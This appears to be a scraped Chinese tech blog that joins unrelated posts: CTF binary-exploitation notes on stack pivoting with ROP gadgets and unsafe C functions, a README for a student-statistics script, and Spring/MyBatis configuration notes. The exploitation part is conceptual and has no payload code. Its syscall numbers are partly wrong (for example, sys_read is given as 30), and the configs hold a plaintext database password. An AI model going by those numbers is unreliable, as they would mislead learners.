  • 如果通过堆栈传递参数了,那么在函数执行完毕后,要平衡参数导致的堆栈变化

3.总结

  • 当函数在栈中操作时,需要先把ESP交给EBP,然后继续操作,当操作完成后,在ret之前,要先将ESP恢复成进入栈之前的状态,最后再将EBP移除栈

2.栈转移

1.为什么需要栈转移?

  • 在栈空间不够存放payload的情况下,需要一个新的地址空间存放payload
  • 开启PIE保护,栈地址未知,我们可以将栈劫持到已知的区域

2.概念

  • 劫持栈的rsp(ESP),使其指向其他位置,形成一个伪造的栈,在此栈中做ROP

3.必要的gadget

  • pop ebp;ret 释放EBP,并连接伪造的栈
  • leave;ret 更改ESP,指向后续的payload

4.原理

  • 通过 pop ebp;ret + 伪造的栈让程序直接跳转到伪造的栈里面,然后为了保持栈平衡,从而执行 leave ;ret,最后继续执行伪造栈内的payload

5.过程

  • 使用输入函数(如read),将后续的payload加载到bss段内,也就是伪造的栈
  • 通过 pop ebp;ret | pop ebx;ret 来调整EBP寄存器
  • 通过 leave ret; 来更改 ESP,使其指向伪造的栈
  • 然后在伪造的栈中执行下一段ROP

CTF-PWN

常见的危险函数

  • gets() 没有检查边界

    • 通过计算函数的偏移量,通过构造payload达到溢出
  • fgets(buf, 40, stdin)

    • 能够接受39Byte,最后一个字节为NULL
    • 如果buf的长度没有39也可以造成溢出
  • read(stdin, buf, 40)

    • 从输入中读取40个Byte,到buf,最后的字节可以不是NULL
    • 可能会造成信息的泄漏

    • read(0,buf,0x20) 从用户输入读取32个字符

  • Write(int fd, buf, nbytes)

    • fd 输出描述 1
    • buf 为要写入到数据的缓冲区地址
    • nbytes为要写入的数据的字节数
  • strcpy

  • memcpy

  • scanf(“%s”,buff)

  • syscall系统调用

    • 操作系统实现系统调用的基本过程是:

      • 应用程序调用库函数(API)
      • API将系统调用号存入EAX,然后通过中断调用使系统进入内核态
      • 内核中终端处理函数根据系统调用号,调用对应的内核函数(系统调用)
      • 系统调用完成相应的功能,将返回值存入EAX,返回到中断处理函数
      • 中断处理函数返回到API中
      • API将EAX返回给应用程序
    • 应用程序调用系统调用的过程

      • 把系统调用的编号存入EAX
      • 把函数参数存入其他通用寄存器
      • 触发0x80号中断(int 0x80)
    • 以上是32位的系统调用,与64 位的区别是

      • 传参方式不同

        • 32位
          • 先将系统调用号传入eax,然后将参数从左到右依次存入ebx,ecx,edx寄存器中,返回值存在eax中
        • 64位
          • 先将系统调用号传入rax,然后传参数 从左到右依次存入rdi,rsi,rdx寄存器中,返回值存在rax寄存器
      • 系统调用号不同

        • 32位
          • sys_read 的系统调用号为 30 sys_write 的系统调用号为4
        • 64位
          • sys_read的调用号位0,sys_write的调用号为1亿
      • 调用方式不同

        • ​ 32位
          • 使用int 80 中断进行系统调用
        • 64位
          • 使用syscall进行系统调用

东南大学青年大学习统计

运行截图

image.png

环境安装

  • 你可以按照下面的方式下载代码到本地

    1
    git clone --depth 1 https://github.com/huzai9527/studyAnalysis.git SUSmember-dev
  • 本项目在python 3 下运行,并且依赖pands,你可以在终端运行以下命令进行安装

    1
    pip install pandas

所需要的文件以及格式

  • 本院总名单,按照如下格式,首行为班级名称,首列为索引号(excel自带),将班级同学名字替换即可
    image.png
  • 班级累计分数:首行为列名第一列列名空,第二列列名累计分数
  • 第一列为填班级名,第二列为保存的班级名
    image.png
  • 最后是大学习的统计情况,此文件是上级下发的,只要移到此目录即可
    image.png
  • 注: 总名单以及班级累计分数可以在下载好的文件中直接修改

    安装好环境以及准备好相应文件后,在终端运行(文件目录路径下)

    1
    python SUSmember.py 无锡分校-东南-第十一期
  • 运行完成输出,各班详细情况,并在结果文件夹生成EXCELL统计文件
    image.png

有不是团员的只要在总名单中删除即可

SSM框架整合

导入相关的依赖

  • pom.xml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>ssmBuild</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
    <!-- mybatis-->
    <dependency>
    <groupId>org.mybatis</groupId>
    <artifactId>mybatis</artifactId>
    <version>3.5.5</version>
    </dependency>
    <dependency>
    <groupId>org.mybatis</groupId>
    <artifactId>mybatis-spring</artifactId>
    <version>2.0.5</version>
    </dependency>
    <!-- 数据库驱动-->
    <dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.49</version>
    </dependency>
    <!-- 数据库连接池-->
    <dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.5</version>
    </dependency>
    <!-- spring-->
    <dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-webmvc</artifactId>
    <version>5.2.0.RELEASE</version>
    </dependency>
    <dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-jdbc</artifactId>
    <version>5.2.0.RELEASE</version>
    </dependency>
    <dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjweaver</artifactId>
    <version>1.9.6</version>
    </dependency>
    <dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    </dependency>

    <dependency>
    <groupId>org.projectlombok</groupId>
    <artifactId>lombok</artifactId>
    <version>1.18.12</version>
    </dependency>
    <!-- junit-->
    <dependency>
    <groupId>junit</groupId>
    <artifactId>junit</artifactId>
    <version>4.13</version>
    <scope>test</scope>
    </dependency>




    </dependencies>
    <build>
    <resources>
    <resource>
    <directory>src/main/java</directory>
    <includes>
    <include>**/*.properties</include>
    <include>**/*.xml</include>
    </includes>
    </resource>
    <resource>
    <directory>src/main/resource</directory>
    <includes>
    <include>**/*.properties</include>
    <include>**/*.xml</include>
    </includes>
    </resource>
    </resources>
    </build>

    </project>

整合mybatis

  • db.properties

    1
    2
    3
    4
    jdbc.driver=com.mysql.jdbc.Driver
    jdbc.username=root
    jdbc.password=asdqwe123.
    jdbc.url=jdbc:mysql://localhost:3306/ssmbuild?useUnicode=true&characterEncoding=utf8
  • Mybatis-config.xml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE configuration
    PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
    "http://mybatis.org/dtd/mybatis-3-config.dtd">
    <configuration>
    <!--配置数据源,spring代理了-->
    <!-- 配置别名-->
    <typeAliases>
    <package name="com.huzai.pojo"/>
    </typeAliases>
    <!-- mapper扫描-->
    <mappers>
    <package name="com.huzai.dao"/>
    </mappers>
    </configuration>
  • Spring-dao.xml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:context="http://www.springframework.org/schema/context"
    xsi:schemaLocation="http://www.springframework.org/schema/beans
    https://www.springframework.org/schema/beans/spring-beans.xsd
    http://www.springframework.org/schema/context
    https://www.springframework.org/schema/context/spring-context.xsd">
    <!-- 关联数据库配置文件-->
    <context:property-placeholder location="classpath:db.properties"/>
    <!-- 连接池-->
    <bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource">
    <property name="driverClass" value="${jdbc.driver}"/>
    <property name="user" value="${jdbc.username}"/>
    <property name="password" value="${jdbc.password}"/>
    <property name="jdbcUrl" value="${jdbc.url}"/>
    <property name="maxPoolSize" value="30"/>
    <property name="minPoolSize" value="10"/>
    <property name="checkoutTimeout" value="10000"/>
    <property name="autoCommitOnClose" value="false"/>
    <property name="acquireRetryAttempts" value="2"/>
    </bean>
    <!-- sqlSessionFactory-->
    <bean id="sqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean">
    <property name="dataSource" ref="dataSource"/>
    <!-- 绑定mybatis配置文件-->
    <property name="configLocation" value="classpath:mybatis-config.xml"/>
    </bean>
    <!-- 配置dao接口扫描包,动态实现dao接口注入spring容器中-->
    <bean id="mapperScannerConfigurer" class="org.mybatis.spring.mapper.MapperScannerConfigurer">
    <!-- 注入sqlSessionFactory-->
    <property name="sqlSessionFactoryBeanName" value="sqlSessionFactory"/>
    <!-- 需要扫描的dao包-->
    <property name="basePackage" value="com.huzai.dao"/>

    </bean>
    </beans>

整合spring

  • spring-service.xml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:context="http://www.springframework.org/schema/context"
    xsi:schemaLocation="http://www.springframework.org/schema/beans
    https://www.springframework.org/schema/beans/spring-beans.xsd
    http://www.springframework.org/schema/context
    https://www.springframework.org/schema/context/spring-context.xsd">
    <!-- 要扫描的service下的包-->
    <context:component-scan base-package="com.huzai.service"/>
    <!-- 将所有的业务类,注入到spring容器中,可以配置实现,也可以注解实现-->
    <!-- <bean id="bookServiceImpl" class="com.huzai.service.bookServiceImpl">-->
    <!-- <property name="bookMapper" ref="bookMapper"/>-->
    <!-- </bean>-->
    <!-- 声明事物配置-->
    <bean id="dataSourceTransactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager">
    <!-- 注入数据源-->
    <property name="dataSource" ref="dataSource"/>
    </bean>
    <!-- aop事物支持-->
    </beans>

整合spring-mvc

  • spring-mvc.xml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:p="http://www.springframework.org/schema/p"
    xmlns:context="http://www.springframework.org/schema/context"
    xmlns:mvc="http://www.springframework.org/schema/mvc"
    xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans.xsd
    http://www.springframework.org/schema/context
    http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd">
    <!-- 注解驱动-->
    <mvc:annotation-driven/>
    <!-- 静态资源过滤-->
    <mvc:default-servlet-handler/>
    <!-- 扫描包-->
    <context:component-scan base-package="com.huzai.controller"/>
    <!-- 试图解析器-->
    <bean id="internalResourceViewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
    <property name="prefix" value="/WEB-INF/jsp/"/>
    <property name="suffix" value=".jsp"/>
    </bean>

    </beans>
  • applicationContext.xml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:context="http://www.springframework.org/schema/context"
    xsi:schemaLocation="http://www.springframework.org/schema/beans
    https://www.springframework.org/schema/beans/spring-beans.xsd
    http://www.springframework.org/schema/context
    https://www.springframework.org/schema/context/spring-context.xsd">
    <import resource="classpath:spring-service.xml"/>
    <import resource="classpath:spring-dao.xml"/>
    <import resource="classpath:spring-mvc.xml"/>
    </beans>
  • web.xml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    <?xml version="1.0" encoding="UTF-8"?>
    <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
    version="4.0">
    <!-- DispatcherServlet-->
    <servlet>
    <servlet-name>springmvc</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>classpath:applicationContext</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
    <servlet-name>springmvc</servlet-name>
    <url-pattern>/</url-pattern>
    </servlet-mapping>

    <!-- 乱码过滤-->
    <filter>
    <filter-name>encodingFilter</filter-name>
    <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
    </filter>
    <filter-mapping>
    <filter-name>encodingFilter</filter-name>
    <url-pattern>/*</url-pattern>
    </filter-mapping>

    <!-- session-->
    <session-config>
    <session-timeout>12</session-timeout>
    </session-config>
    </web-app>

SprngMVC学习总结

HelloSpringMvc遇到的问题

  • Tomcat中没有相应的jar包,需要导入!
  • controller在注册时的id,就是url中的参数,需要保持一致

使用注解进行开发

1
2
3
4
5
6
<!--    自动扫描包,让指定包下的注解生效-->
<context:component-scan base-package="com.huzai.controller"/>
<!-- 让SpringMVC不处理静态资源-->
<mvc:default-servlet-handler/>
<!-- 自动注入-->
<mvc:annotation-driven/>

RestFull风格

url路径中参数的携带

1
2
3
4
5
6
@RequestMapping(value = "/add/{a}/{b}", method = RequestMethod.GET)
public String add(@PathVariable int a,@PathVariable int b, Model model){
int result = a+b;
model.addAttribute("msg",result);
return "hello";
}

JSON的使用

jackson

  • 依赖(需要将其jar包导入tomcat的依赖)

    1
    2
    3
    4
    5
    <dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
    <version>2.11.3</version>
    </dependency>
  • 使用(可以在大环境下使用@RestController)

    1
    2
    3
    4
    5
    6
    7
    8
    @RequestMapping("/json")
    @ResponseBody
    public String json() throws JsonProcessingException {
    ObjectMapper objectMapper = new ObjectMapper();
    Date date = new Date();
    String str = objectMapper.writeValueAsString(date);
    return str;
    }

fastjson

  • 依赖

    1
    2
    3
    4
    5
    <dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.73</version>
    </dependency>
  • 使用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
        @RequestMapping("/fastJson")
    @ResponseBody
    public String fastJson(){
    // fastJson 有很多功能其实都可以用jackson扩展写
    // java对象转JSON字符串JSON.toJSONString
    // JSON字符串转JAVA对象JSON.parseObject()

    Date date = new Date();
    String json = JSON.toJSONString(date);
    return json;
    }

乱码问题

Web中的乱码

  • 在web.xml中进行配置
1
2
3
4
5
6
7
8
<filter>
<filter-name>encoding</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>encoding</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

Jackson中的乱码

  • 在springMVC的配置文件中进行配置
1
2
3
4
5
6
7
8
9
10
11
12
13
<!--    自动注入,JSON乱码问题配置-->
<mvc:annotation-driven>
<mvc:message-converters register-defaults="true">
<bean class="org.springframework.http.converter.xml.SourceHttpMessageConverter"/>
<bean class="org.springframework.http.converter.cbor.MappingJackson2CborHttpMessageConverter">
<property name="objectMapper">
<bean class="org.springframework.http.converter.json.Jackson2ObjectMapperFactoryBean">
<property name="failOnEmptyBeans" value="false"/>
</bean>
</property>
</bean>
</mvc:message-converters>
</mvc:annotation-driven>

fastjson中的乱码

1
2
3
4
5
6
7
8
9
10
11
<mvc:annotation-driven>
<mvc:message-converters>
<bean class="org.springframework.http.converter.StringHttpMessageConverter">
<property name="supportedMediaTypes">
<list>
<value>application/json;charset=UTF-8</value>
</list>
</property>
</bean>
</mvc:message-converters>
</mvc:annotation-driven>

springMVC中的全部配置文件

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>springMVC</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc-servlet.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>springMVC</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>

<filter>
<filter-name>encoding</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>encoding</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>



</web-app>

Springmvc-servlet.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd">
<!-- 自动扫描包,让指定包下的注解生效-->
<context:component-scan base-package="com.huzai.controller"/>
<!-- 让SpringMVC不处理静态资源-->
<mvc:default-servlet-handler/>
<!-- 自动注入,JSON乱码问题配置-->
<mvc:annotation-driven>
<mvc:message-converters register-defaults="true">
<bean class="org.springframework.http.converter.xml.SourceHttpMessageConverter"/>
<bean class="org.springframework.http.converter.cbor.MappingJackson2CborHttpMessageConverter">
<property name="objectMapper">
<bean class="org.springframework.http.converter.json.Jackson2ObjectMapperFactoryBean">
<property name="failOnEmptyBeans" value="false"/>
</bean>
</property>
</bean>
</mvc:message-converters>
</mvc:annotation-driven>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver" id="internalResourceViewResolver">
<property name="prefix" value="/WEB-INF/jsp/"/>
<property name="suffix" value=".jsp"/>
</bean>

</beans>

Spring课堂记录

Spring

IOC理论推导

  1. UserDao
  2. UserDaoImpl
  3. UserService
  4. UserServiceImpl

在之前的业务中,用户的需求可能会影响我们的源代码,我们要根据用户的需求修改源代码,如果代码量非常大,修改一次的成本十分昂贵!

使用一个Set接口,利用set进行动态值的注入,会发生革命性的变化!

1
2
3
public void setHello(Hello hello) {
this.hello = hello;
}
  • 之前,是程序主动创造对象!控制权在程序员手上!
  • 使用set注入后,程序不在具有主动性,而是变成了被动的接受对象!

这种思想,从本质上解决了问题,程序员不用再去管理对象的创建.系统的耦合性大大降低,可以使程序猿更加专注在业务的实现上!这是IOC的原型!

IOC实现

  • An architecture for end-to-end and inter-domain trusted mail delivery service

配置

  1. 在beans.xml 中配置注册pojo类,将这些类交给spring进行管理

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://www.springframework.org/schema/beans
    https://www.springframework.org/schema/beans/spring-beans.xsd">


    <!-- more bean definitions go here -->

    </beans>
  2. 使用beans

    1
    2
    3
    4
    5
    6
    7
    8
    // create and configure beans
    ApplicationContext context = new ClassPathXmlApplicationContext("services.xml", "daos.xml");

    // retrieve configured instance
    PetStoreService service = context.getBean("petStore", PetStoreService.class);

    // use configured instance
    List<String> userList = service.getUsernameList();
  3. bean中的参数

    1. id:bean的唯一标识
    2. class:bean绑定的pojo对象
    3. autowire:通过set方法中的属性自动装配其他的bean

依赖注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<bean id="exampleBean" class="examples.ExampleBean">
<!-- constructor injection using the nested ref element -->
<constructor-arg>
<ref bean="anotherExampleBean"/>
</constructor-arg>

<!-- constructor injection using the neater ref attribute -->
<constructor-arg ref="yetAnotherBean"/>

<constructor-arg type="int" value="1"/>
</bean>

<bean id="anotherExampleBean" class="examples.AnotherBean"/>
<bean id="yetAnotherBean" class="examples.YetAnotherBean"/>

bean的作用域

  • ==单例模式==(spring默认机制) :这全局唯一,永远只创建一个实例

    image-20200924191429236

1
2
3
4
<bean id="accountService" class="com.something.DefaultAccountService"/>

<!-- the following is equivalent, though redundant (singleton scope is the default) -->
<bean id="accountService" class="com.something.DefaultAccountService" scope="singleton"/>
  • 原型模式:每次都会产生一个新的对象

    image-20200924204552279

    1
    <bean id="accountService" class="com.something.DefaultAccountService" scope="prototype"/>

    ####

Spring注解开发

applicationContext.xml配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans
https://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
https://www.springframework.org/schema/context/spring-context.xsd">
<context:component-scan base-package="com.huzai.pojo"/>

<context:annotation-config/>

</beans>

bean的注入包括

  • pojo中直接用[@Component]
  • service中使用[@Service]
  • dao使用[@Repository]
  • controller使用[@Controller]

值与对象的注入

  • [@Value(“huzai”)]对值的注入

  • [@Scope(“protoType”)]作用域的注入

  • [@Autowired] 对对象中的对象的注入

  • [@Qualifier(value = “dog”)] 配合@Autowired使用,指定精确的注入对象

    1
    2
    3
    4
    5
    6
    @Value("huzai")
    private String name;
    @Nullable
    @Autowired
    @Qualifier(value = "dog")
    private Dog dog;
  • [@Nullable]表明字段可以为空

完全不用xml配置的注解开发

  • 配置用config.java(相当于beans.xml)
1
2
3
4
5
6
7
8
9
10
11
12
@Configuration
@ComponentScan
public class MyConfig {
//注册一个bean,相当于一个bean的标签
//方法的名字相当于bean标签中的id属性
//方法的返回值相当于bean标签中的class属性
//
@Bean
public User getUser(){
return new User();
}
}

代理模式

静态代理

静态代理也就是项目横向开发的过程,在此过程中,猿们无需改变以前的代码,因为这是公司中的大忌.

角色分析

  • 抽象角色:一般使用接口或抽象类来解决
  • 真实角色:被代理的角色
  • 代理角色:代理真实角色,一般有一些附属操作
  • 客户:访问代理对象的人

代码步骤

  1. 接口

  2. 真实角色

  3. 代理角色

  4. 客户端访问

代理模式的好处

  • 可以是真实角色的操作更加纯粹,不用关心其他公共业务
  • 公共业务可以交给代理角色!实现了业务的分工!
  • 公共业务发生集中在一起,方便管理

缺点

  • 一个真实角色产生一个代理,代码量翻倍,开发效率变低

动态代理

  • 角色与静态代理一样
  • 代理动态生成
  • 分为两大类
    • 基于接口 – JDK’动态代理
    • 基于类 – cglib
    • 基于java字节码 – javassit
  • 优点
    • 除了静态代理的
    • 一个动态代理类可以代理多个类,只要实现了对应的借口
    • 一个动态代理类代理的是一个接借口,一般对应的是一类业务

AOP

在Spring中的作用

==提供声明式事物;允许用户自定义切面==

Spring中实现AOP

  • AOP依赖

    1
    2
    3
    4
    5
    <dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjweaver</artifactId>
    <version>1.9.6</version>
    </dependency>
  • 配置文件:applicationContext.xml

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
    xmlns:aop="http://www.springframework.org/schema/aop"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xmlns:context="http://www.springframework.org/schema/context"
    xsi:schemaLocation="http://www.springframework.org/schema/beans
    https://www.springframework.org/schema/beans/spring-beans.xsd
    http://www.springframework.org/schema/context
    https://www.springframework.org/schema/context/spring-context.xsd
    http://www.springframework.org/schema/aop
    https://www.springframework.org/schema/aop/spring-aop.xsd">
    <context:component-scan base-package="com.huzai"/>
    <context:annotation-config/>
    <aop:aspectj-autoproxy/>

    </beans>
  • 方式

    • 方式一:使用Spring API接口

      1
      2
      3
      4
      <aop:config>
      <aop:pointcut id="pointcut" expression="execution(* com.huzai.service.UserServiceImpl.*(..))"/>
      <aop:advisor advice-ref="log" pointcut-ref="pointcut"/>
      </aop:config>
  • 方式二:自定义类

    1
    2
    3
    4
    5
    6
    7
    <!--    方式二:使用自定义类-->
    <aop:config>
    <aop:aspect ref="diyPointCut">
    <aop:pointcut id="pointcut" expression="execution(* com.huzai.service.*.*(..))"/>
    <aop:before method="before" pointcut-ref="pointcut"/>
    </aop:aspect>
    </aop:config>
  • 方式三:使用注解开发

    1
    2
    3
    4
    5
    6
    7
    8
    @Component
    @Aspect
    public class AnnotationPoint {
    @Before("execution(* com.huzai.pojo.User.* (..))")
    public void before(){
    System.out.println("====开始====");
    }
    }

Spring整合Mybatis

使用Spring 的数据源

  • 参数包括连接数据库的所有参数
  • 以及对数据进行约束的数据源自带的约束
  • 一般的数据源包括 c3p0、druid、dbcp
1
2
3
4
5
6
<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName" value="com.mysql.jdbc.Driver"/>
<property name="username" value="root"/>
<property name="url" value="jdbc:mysql://localhost:3306/mybatis? useSSL=false&amp;useUnicode=true&amp;encoding=utf8"/>
<property name="password" value="asdqwe123."/>
</bean>

构造SqlsessionFactory

  • 需要设置如下的参数
    • 数据源dataSource
    • 加载mybatis的配置文件
    • mapperLocation的地址
1
2
3
4
5
<bean id="sqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean">
<property name="dataSource" ref="dataSource" />
<property name="configLocation" value="classpath:mybatisConfig.xml"/>
<property name="mapperLocations" value="classpath:com/huzai/mapper/*.xml"/>
</bean>

构造SqlsessionTemplete(sqlsession)

  • 需要将其注入到ServiceImpl
1
2
3
<bean id="sqlSessionTemplate" class="org.mybatis.spring.SqlSessionTemplate">
<constructor-arg index="0" ref="sqlSessionFactory"/>
</bean>

声明式事物

事物:

  • 要么都成功,要么都失败!
  • 涉及到数据的一致性问题
  • 确保完整性和一致性

事物的ACID原则;

  • 原子性
  • 一致性
  • 隔离性
    • 多个业务可能操作同一个资源,防止数据损害
  • 持久性

Spring中的事物管理

申明式事物:AOP

配置申明式事物
1
2
3
 <bean id="dataSourceTransactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager">
<constructor-arg ref="dataSource"/>
</bean>
结合aop实现的事物的织入
  • 配置事务通知
1
2
3
4
5
6
7
    <tx:advice id="txAdvice" transaction-manager="dataSourceTransactionManager">
<!-- 给那些方法配置事物-->
<!-- 配置事物的传播特性-->
<tx:attributes>
<tx:method name="add" propagation="REQUIRED"/>
</tx:attributes>
</tx:advice>
  • 配置事务切入
1
2
3
4
5
6
<!--    配置事物的切入-->
<aop:config>

<aop:pointcut id="txPointCut" expression="execution(* com.huzai.mapper.*.*(..))"/>
<aop:advisor advice-ref="txAdvice" pointcut-ref="txPointCut"/>
</aop:config>

编程式事物:需要在代码中进行事物的管理

所有的配置文件头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:aop="http://www.springframework.org/schema/aop"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:jdbc="http://www.springframework.org/schema/jdbc" xmlns:tx="http://www.springframework.org/schema/tx"
xsi:schemaLocation="http://www.springframework.org/schema/beans
https://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
https://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/aop
https://www.springframework.org/schema/aop/spring-aop.xsd
http://www.springframework.org/schema/jdbc http://www.springframework.org/schema/jdbc/spring-jdbc.xsd
http://www.springframework.org/schema/tx
http://www.springframework.org/schema/tx/spring-tx.xsd">
</beans>

所有的dependency

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<dependencies>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.5</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.49</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.2.0.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-jdbc</artifactId>
<version>5.2.0.RELEASE</version>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
